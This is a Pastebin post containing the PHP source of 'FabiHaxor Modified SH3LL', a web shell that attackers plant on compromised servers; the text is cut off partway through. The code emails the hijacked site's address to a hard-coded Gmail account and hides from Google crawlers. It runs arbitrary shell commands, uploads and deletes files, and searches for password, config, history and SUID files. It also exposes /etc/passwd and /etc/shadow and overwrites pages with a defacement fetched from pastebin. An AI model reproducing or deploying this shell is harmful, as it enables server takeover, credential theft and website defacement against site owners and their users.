fabihaxor

fabiha priv8.php

Sep 9th, 2018
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 76.90 KB | None | 0 0
  1.  
  2.  
  3. <?php
  4.  
  5. //Make your setting here.
  6. $deface_url = 'https://pastebin.com/raw/QpL77xGc'; //deface url here(pastebin).
  7. $UserName = "FabiHaxor"; //Your UserName here.
  8. $auth_pass = "fabiha"; //Your Password.
  9. //Change Shell Theme here//
  10. $color = "#0CF2E6"; //Fonts color modify here.
  11. $Theme = '#EB0F0F'; //Change border-color accoriding to your choice.
  12. $TabsColor = '#413734'; //Change tabs color here.
  13.  
  14.  
  15. ?>
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23. <?php
  24. if(!isset($_SESSION['trimite'])){
  25. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
  26. @mail("fabihaxor@gmail.com","FabiHaxor Modified Shell",$url);
  27. $_SESSION['trimite']=true;
  28. }
  29. $default_action = 'FilesMan';
  30. @define('SELF_PATH', __FILE__);
  31. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  32. header('HTTP/1.0 404 Not Found');
  33. exit;
  34. }
  35.  
  36. @session_start();
  37. @error_reporting(0);
  38. @ini_set('error_log',NULL);
  39. @ini_set('display_errors',0);
  40. @ini_set('log_errors',0);
  41. @ini_set('max_execution_time',0);
  42. @set_time_limit(0);
  43. @set_magic_quotes_runtime(0);
  44. if( get_magic_quotes_gpc() ) {
  45. function stripslashes_array($array) {
  46. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  47. }
  48. $_POST = stripslashes_array($_POST);
  49. }
  50.  
  51. function printLogin() {
  52. if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $UserName) {
  53. $status = 'Wrong Password or UserName :(';
  54.  
  55.  
  56. }
  57.  
  58. ?>
  59.  
  60. <html>
  61. <head>
  62. <title>FabiHaxor Modified SH3LL</title>
  63. <link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
  64. </head>
  65. <style>
  66. body{
  67. font-family: Josefin Sans, sans-serif;
  68. background: black;
  69. color:#ABEFFF;
  70. }
  71. .loginpage img{
  72. width: 500px;
  73. height: 150px;
  74. }
  75. .loginpage{
  76. height: 400px;
  77. width: 500px;
  78. border:1px solid;
  79. border-color:#EB0F0F;
  80. text-align: center;
  81. border-radius: 5px;
  82. margin-top: 100px;
  83. }
  84. #pageheading{
  85. font-size:25px;
  86. color:#ABEFFF;
  87. margin-top: 10px;
  88. }
  89. .loginpage img{
  90. width: 500px;
  91.  
  92. }
  93. input{
  94. background: black;
  95. border-color:#EB0F0F;
  96. border-radius: 10px;
  97. margin-top: 10px;
  98. padding:5px;
  99. color: #ABEFFF;
  100. }
  101. input:hover{
  102. background: #ABEFFF;
  103. color: red;
  104.  
  105. }
  106.  
  107. </style>
  108. <body>
  109. <center>
  110. <div class="loginpage">
  111. <img src="http://fabihaxor.jw.lt/Images/Back.png" alt="Shell Logo">
  112. <div id="pageheading"> FabiHaxor Modified SH3LL</div>
  113. <form method="post">
  114. User Name: <input type="text" name="uname" ><br>
  115. Password : <input type="password" name="pass" ><br>
  116. <input type="submit" name="login" value="Login">
  117. <?
  118.  
  119. if (isset($status)) {
  120. ?>
  121.  
  122.  
  123.  
  124.  
  125. </form>
  126.  
  127. </d<p><?=$status?></p>
  128. </center>
  129. </body>
  130. </html>
  131.  
  132. <?
  133.  
  134.  
  135. }
  136. exit;
  137. }
  138.  
  139. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  140. if( empty( $auth_pass ) ||
  141. ( isset( $_POST['pass'] ) && ($_POST['pass']) == $auth_pass && ($_POST['uname']) == $UserName))
  142. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  143.  
  144. else
  145.  
  146. printLogin();
  147.  
  148. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  149. $os = 'win';
  150. else
  151. $os = 'nix';
  152. $safe_mode = @ini_get('safe_mode');
  153. $disable_functions = @ini_get('disable_functions');
  154. $home_cwd = @getcwd();
  155. if( isset( $_POST['c'] ) )
  156. @chdir($_POST['c']);
  157. $cwd = @getcwd();
  158. if( $os == 'win') {
  159. $home_cwd = str_replace("\\", "/", $home_cwd);
  160. $cwd = str_replace("\\", "/", $cwd);
  161. }
  162. if( $cwd[strlen($cwd)-1] != '/' )
  163. $cwd .= '/';
  164.  
  165. if($os == 'win') {
  166. $aliases = array(
  167. "List Directory" => "dir",
  168. "Find index.php in current dir" => "dir /s /w /b index.php",
  169. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  170. "Show active connections" => "netstat -an",
  171. "Show running services" => "net start",
  172. "User accounts" => "net user",
  173. "Show computers" => "net view",
  174. "ARP Table" => "arp -a",
  175. "IP Configuration" => "ipconfig /all"
  176. );
  177. } else {
  178. $aliases = array(
  179. "List dir" => "ls -la",
  180. "list file attributes on a Linux second extended file system" => "lsattr -va",
  181. "show opened ports" => "netstat -an | grep -i listen",
  182. "Find" => "",
  183. "find all suid files" => "find / -type f -perm -04000 -ls",
  184. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  185. "find all sgid files" => "find / -type f -perm -02000 -ls",
  186. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  187. "find config.inc.php files" => "find / -type f -name config.inc.php",
  188. "find config* files" => "find / -type f -name \"config*\"",
  189. "find config* files in current dir" => "find . -type f -name \"config*\"",
  190. "find all writable folders and files" => "find / -perm -2 -ls",
  191. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  192. "find all service.pwd files" => "find / -type f -name service.pwd",
  193. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  194. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  195. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  196. "find all .bash_history files" => "find / -type f -name .bash_history",
  197. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  198. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  199. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  200. "Locate" => "",
  201. "locate httpd.conf files" => "locate httpd.conf",
  202. "locate vhosts.conf files" => "locate vhosts.conf",
  203. "locate proftpd.conf files" => "locate proftpd.conf",
  204. "locate psybnc.conf files" => "locate psybnc.conf",
  205. "locate my.conf files" => "locate my.conf",
  206. "locate admin.php files" =>"locate admin.php",
  207. "locate cfg.php files" => "locate cfg.php",
  208. "locate conf.php files" => "locate conf.php",
  209. "locate config.dat files" => "locate config.dat",
  210. "locate config.php files" => "locate config.php",
  211. "locate config.inc files" => "locate config.inc",
  212. "locate config.inc.php" => "locate config.inc.php",
  213. "locate config.default.php files" => "locate config.default.php",
  214. "locate config* files " => "locate config",
  215. "locate .conf files"=>"locate '.conf'",
  216. "locate .pwd files" => "locate '.pwd'",
  217. "locate .sql files" => "locate '.sql'",
  218. "locate .htpasswd files" => "locate '.htpasswd'",
  219. "locate .bash_history files" => "locate '.bash_history'",
  220. "locate .mysql_history files" => "locate '.mysql_history'",
  221. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  222. "locate backup files" => "locate backup",
  223. "locate dump files" => "locate dump",
  224. "locate priv files" => "locate priv"
  225. );
  226. }
  227. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  228.  
  229. $def = file_get_contents($deface_url);
  230. file_put_contents($_POST['c'].$_POST['p2'],$def);
  231. }
  232. function ex($in) {
  233. $out = '';
  234. if(function_exists('exec')) {
  235. @exec($in,$out);
  236. $out = @join("\n",$out);
  237. }elseif(function_exists('passthru')) {
  238. ob_start();
  239. @passthru($in);
  240. $out = ob_get_clean();
  241. }elseif(function_exists('system')) {
  242. ob_start();
  243. @system($in);
  244. $out = ob_get_clean();
  245. }elseif(function_exists('shell_exec')) {
  246. $out = shell_exec($in);
  247. }elseif(is_resource($f = @popen($in,"r"))) {
  248. $out = "";
  249. while(!@feof($f))
  250. $out .= fread($f,1024);
  251. pclose($f);
  252. }
  253. return $out;
  254. }
  255.  
  256. function which($p) {
  257. $path = ex('which '.$p);
  258. if(!empty($path))
  259. return $path;
  260. return false;
  261. }
  262.  
  263. function printHeader() {
  264. if(empty($_POST['charset']))
  265. $_POST['charset'] = "UTF-8";
  266. global $color;
  267. global $Theme;
  268. global $TabsColor;
  269. echo "<html><head><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
  270. echo '<html>
  271. <meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Welcame To Your Hacking World</title>
  272. <style>
  273. body {background-color:black;color:#fff;}
  274. body,td,th { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
  275. span,h1,a { color:'.$color.' !important; }
  276. span { font-weight: bolder; }
  277. h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
  278. div.content { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
  279. a { text-decoration:none; }
  280. a:hover { border-bottom:0px solid #5e5e5e;text-decoration:none; }
  281. a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
  282. .ml1 { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
  283. .bigarea { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
  284. input, textarea, select { margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
  285. input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;}
  286. form { margin:0px; background:#0F1010;}
  287. #toolsTbl { text-align:center; }
  288. .toolsInp { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
  289. .main th {text-align:left;background-color:'.$TabsColor.';}
  290. .main tr:hover{background:'.$Theme.'; border:5px solid;border-color:'.$Theme.';}
  291. .main td, th{vertical-align:middle;}
  292. .menu { height:30px; border-radius:10px;}
  293. .menu th{padding:1px;border-radius: 5px; background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
  294. -moz-transform: rotate(20deg);
  295. -o-transform: rotate(20deg);
  296. -ms-transform: rotate(20deg);
  297. transform: rotate(20deg);}
  298. .menu th:hover{background:#0F1010;text-decoration: none;}
  299. pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
  300. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  301.  
  302.  
  303. .cpr {margin-bottom:5px;font-weight:bold; }
  304. .cpb {width:34px;margin:0 5px;}
  305.  
  306. .npoad td {padding:0;}
  307. #Shelltools{
  308. margin-top:50px;
  309. width:500px;
  310. border:1px solid;
  311. border-radius:10px;
  312. }
  313. .Shelllogo td{
  314. font-size:12px;
  315. font-weight:bold;
  316.  
  317.  
  318.  
  319. }
  320. .Shelllogo{
  321. margin-left:5px;
  322. background:url(https://upload.wikimedia.org/wikipedia/commons/thumb/2/2e/Flag_of_the_Islamic_Courts_Union.svg/500px-Flag_of_the_Islamic_Courts_Union.svg.png);
  323. background-repeat: no-repeat;
  324. background-position: CENTER;
  325. background-color:#0F1010;
  326. background-size: 400px 120px;
  327.  
  328.  
  329.  
  330. }
  331. </style>
  332.  
  333. </html>
  334. <style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  335. <script>
  336. function set(a,c,p1,p2,p3,charset) {
  337. if(a != null)document.mf.a.value=a;
  338. if(c != null)document.mf.c.value=c;
  339. if(p1 != null)document.mf.p1.value=p1;
  340. if(p2 != null)document.mf.p2.value=p2;
  341. if(p3 != null)document.mf.p3.value=p3;
  342. if(charset != null)document.mf.charset.value=charset;
  343. }
  344. function g(a,c,p1,p2,p3,charset) {
  345. set(a,c,p1,p2,p3,charset);
  346. document.mf.submit();
  347. }
  348. function a(a,c,p1,p2,p3,charset) {
  349. set(a,c,p1,p2,p3,charset);
  350. var params = "ajax=true";
  351. for(i=0;i<document.mf.elements.length;i++)
  352. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  353. sr("'.$_SERVER['REQUEST_URI'].'", params);
  354. }
  355. function sr(url, params) {
  356. if (window.XMLHttpRequest) {
  357. req = new XMLHttpRequest();
  358. req.onreadystatechange = processReqChange;
  359. req.open("POST", url, true);
  360. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  361. req.send(params);
  362. }
  363. else if (window.ActiveXObject) {
  364. req = new ActiveXObject("Microsoft.XMLHTTP");
  365. if (req) {
  366. req.onreadystatechange = processReqChange;
  367. req.open("POST", url, true);
  368. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  369. req.send(params);
  370. }
  371. }
  372. }
  373. function processReqChange() {
  374. if( (req.readyState == 4) )
  375. if(req.status == 200) {
  376. //alert(req.responseText);
  377. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  378. var arr=reg.exec(req.responseText);
  379. eval(arr[2].substr(0, arr[1]));
  380. }
  381. else alert("Request error!");
  382. }
  383. </script>
  384. <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  385. <form method=post name=mf style="display:none;">
  386. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  387. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  388. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  389. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  390. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  391. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  392. </form>';
  393. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  394. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  395. $totalSpace = $totalSpace?$totalSpace:1;
  396. $disable_functions = @ini_get('disable_functions');
  397. $release = @php_uname('r');
  398. $kernel = @php_uname('s');
  399. if(!function_exists('posix_getegid')) {
  400. $user = @get_current_user();
  401. $uid = @getmyuid();
  402. $gid = @getmygid();
  403. $group = "?";
  404. } else {
  405. $uid = @posix_getpwuid(@posix_geteuid());
  406. $gid = @posix_getgrgid(@posix_getegid());
  407. $user = $uid['name'];
  408. $uid = $uid['uid'];
  409. $group = $gid['name'];
  410. $gid = $gid['gid'];
  411. }
  412. $cwd_links = '';
  413. $path = explode("/", $GLOBALS['cwd']);
  414. $n=count($path);
  415. for($i=0;$i<$n-1;$i++) {
  416. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  417. for($j=0;$j<=$i;$j++)
  418. $cwd_links .= $path[$j].'/';
  419. $cwd_links .= "\")'>".$path[$i]."/</a>";
  420. }
  421. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  422. $opt_charsets = '';
  423. foreach($charsets as $item)
  424. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  425. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Import Scripts'=>'ImportScripts','Network'=>'Network','Readable Dirs'=>'Readable','Defacer' => 'Deface','Code Injector'=>'Injector','Domains' => 'Domain');
  426. if(!empty($GLOBALS['auth_pass']))
  427. $m['Logout'] = 'Logout';
  428. $menu = '';
  429. foreach($m as $k => $v)
  430. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  431. $drives = "";
  432. if ($GLOBALS['os'] == 'win') {
  433. foreach( range('a','z') as $drive ){
  434. if (is_dir($drive.':\\'))
  435. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  436. }
  437. $drives .= '<br />: ';
  438. }
  439. if($GLOBALS['os'] == 'nix') {
  440. $dominios = @file_get_contents("/etc/named.conf");
  441. if(!$dominios) {
  442. $DomainS = "/var/named";
  443. $Domainonserver = scandir($DomainS);
  444. $d0c = count($Domainonserver);
  445. } else {
  446. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  447. $out = sizeof(array_unique($out[1]));
  448. $d0c = $out." Domains";
  449. }
  450. } else {
  451. $d0c = "Nothing here bro:(";
  452. }
  453. if($GLOBALS['os'] == 'nix' )
  454. {
  455. $usefl = ''; $dwnldr = '';
  456. if(!@ini_get('safe_mode')) {
  457. $temp = array();
  458. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  459. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  460. $usefl = implode(', ',$temp);
  461. $temp = array();
  462. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  463. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  464. $dwnldr = implode(', ',$temp);
  465. } else {
  466. $usefl = ' ------- '; $dwnldr = ' ------- ';
  467. }
  468. } else {
  469. $usefl = ' ------- '; $dwnldr = ' ------- ';
  470. }
  471. echo '<div class="Shelllogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
  472. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  473. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  474. '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  475. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
  476. '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
  477. }
  478.  
  479. function printFooter() {
  480. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  481.  
  482. echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  483. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  484. <tr>
  485. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  486. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  487. </tr>
  488. <tr>
  489. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  490. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  491. </tr>
  492. <tr>
  493. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  494. <td><form method="post" ENCTYPE="multipart/form-data">
  495. <input type=hidden name=a value="FilesMAn">
  496. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  497. <input type=hidden name=p1 value="uploadFile">
  498. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  499. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  500. </tr>
  501. </table></div></div>
  502. <div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">Shell Modify <a href="https://web.facebook.com/Death5tudent"> Mohammad Sarfaraj</a></div></div>
  503. </div>
  504. </body></html>';
  505. }
  506.  
  507. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  508. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  509.  
  510.  
  511. function viewSize($s) {
  512. if($s >= 1073741824)
  513. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  514. elseif($s >= 1048576)
  515. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  516. elseif($s >= 1024)
  517. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  518. else
  519. return $s . ' B';
  520. }
  521.  
  522. function perms($p) {
  523. if (($p & 0xC000) == 0xC000)$i = 's';
  524. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  525. elseif (($p & 0x8000) == 0x8000)$i = '-';
  526. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  527. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  528. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  529. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  530. else $i = 'u';
  531. $i .= (($p & 0x0100) ? 'r' : '-');
  532. $i .= (($p & 0x0080) ? 'w' : '-');
  533. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  534. $i .= (($p & 0x0020) ? 'r' : '-');
  535. $i .= (($p & 0x0010) ? 'w' : '-');
  536. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  537. $i .= (($p & 0x0004) ? 'r' : '-');
  538. $i .= (($p & 0x0002) ? 'w' : '-');
  539. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  540. return $i;
  541. }
  542.  
  543. function viewPermsColor($f) {
  544. if (!@is_readable($f))
  545. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  546. elseif (!@is_writable($f))
  547. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  548. else
  549. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  550. }
  551.  
  552. if(!function_exists("scandir")) {
  553. function scandir($dir) {
  554. $dh = opendir($dir);
  555. while (false !== ($filename = readdir($dh))) {
  556. $files[] = $filename;
  557. }
  558. return $files;
  559. }
  560. }
  561.  
  562. function actionSecInfo() {
  563. printHeader();
  564. echo '<h1>Server security information</h1><div class=content>';
  565. function showSecParam($n, $v) {
  566. $v = trim($v);
  567. if($v) {
  568. echo '<span>'.$n.': </span>';
  569. if(strpos($v, "\n") === false)
  570. echo $v.'<br>';
  571. else
  572. echo '<pre class=ml1>'.$v.'</pre>';
  573. }
  574. }
  575.  
  576. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  577. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  578. showSecParam('Open base dir', @ini_get('open_basedir'));
  579. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  580. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  581. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  582. $temp=array();
  583. if(function_exists('mysql_get_client_info'))
  584. $temp[] = "MySql (".mysql_get_client_info().")";
  585. if(function_exists('mssql_connect'))
  586. $temp[] = "MSSQL";
  587. if(function_exists('pg_connect'))
  588. $temp[] = "PostgreSQL";
  589. if(function_exists('oci_connect'))
  590. $temp[] = "Oracle";
  591. showSecParam('Supported databases', implode(', ', $temp));
  592. echo '<br>';
  593.  
  594. if( $GLOBALS['os'] == 'nix' ) {
  595. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  596. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  597. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  598. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  599. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  600. showSecParam('OS version', @file_get_contents('/proc/version'));
  601. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  602. if(!$GLOBALS['safe_mode']) {
  603. echo '<br>';
  604. $temp=array();
  605. foreach ($userful as $item)
  606. if(which($item)){$temp[]=$item;}
  607. showSecParam('Userful', implode(', ',$temp));
  608. $temp=array();
  609. foreach ($danger as $item)
  610. if(which($item)){$temp[]=$item;}
  611. showSecParam('Danger', implode(', ',$temp));
  612. $temp=array();
  613. foreach ($downloaders as $item)
  614. if(which($item)){$temp[]=$item;}
  615. showSecParam('Downloaders', implode(', ',$temp));
  616. echo '<br/>';
  617. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  618. showSecParam('HDD space', ex('df -h'));
  619. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  620. }
  621. } else {
  622. showSecParam('OS Version',ex('ver'));
  623. showSecParam('Account Settings',ex('net accounts'));
  624. showSecParam('User Accounts',ex('net user'));
  625. }
  626. echo '</div>';
  627. printFooter();
  628. }
  629.  
  630. function actionFilesMan() {
  631. printHeader();
  632. echo '<h1>File manager</h1><div class=content>';
  633. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  634. switch($_POST['p1']) {
  635. case 'uploadFile':
  636. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  637. echo "Can't upload file!";
  638. break;
  639. break;
  640. case 'mkdir':
  641. if(!@mkdir($_POST['p2']))
  642. echo "Can't create new dir";
  643. break;
  644. case 'delete':
  645. function deleteDir($path) {
  646. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  647. $dh = opendir($path);
  648. while ( ($item = readdir($dh) ) !== false) {
  649. $item = $path.$item;
  650. if ( (basename($item) == "..") || (basename($item) == ".") )
  651. continue;
  652. $type = filetype($item);
  653. if ($type == "dir")
  654. deleteDir($item);
  655. else
  656. @unlink($item);
  657. }
  658. closedir($dh);
  659. rmdir($path);
  660. }
  661. if(is_array(@$_POST['f']))
  662. foreach($_POST['f'] as $f) {
  663. $f = urldecode($f);
  664. if(is_dir($f))
  665. deleteDir($f);
  666. else
  667. @unlink($f);
  668. }
  669. break;
  670.  
  671.  
  672.  
  673.  
  674. case 'paste':
  675. if($_SESSION['act'] == 'copy') {
  676. function copy_paste($c,$s,$d){
  677. if(is_dir($c.$s)){
  678. mkdir($d.$s);
  679. $h = opendir($c.$s);
  680. while (($f = readdir($h)) !== false)
  681. if (($f != ".") and ($f != "..")) {
  682. copy_paste($c.$s.'/',$f, $d.$s.'/');
  683. }
  684. } elseif(is_file($c.$s)) {
  685. @copy($c.$s, $d.$s);
  686. }
  687. }
  688. foreach($_SESSION['f'] as $f)
  689. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  690. } elseif($_SESSION['act'] == 'move') {
  691. function move_paste($c,$s,$d){
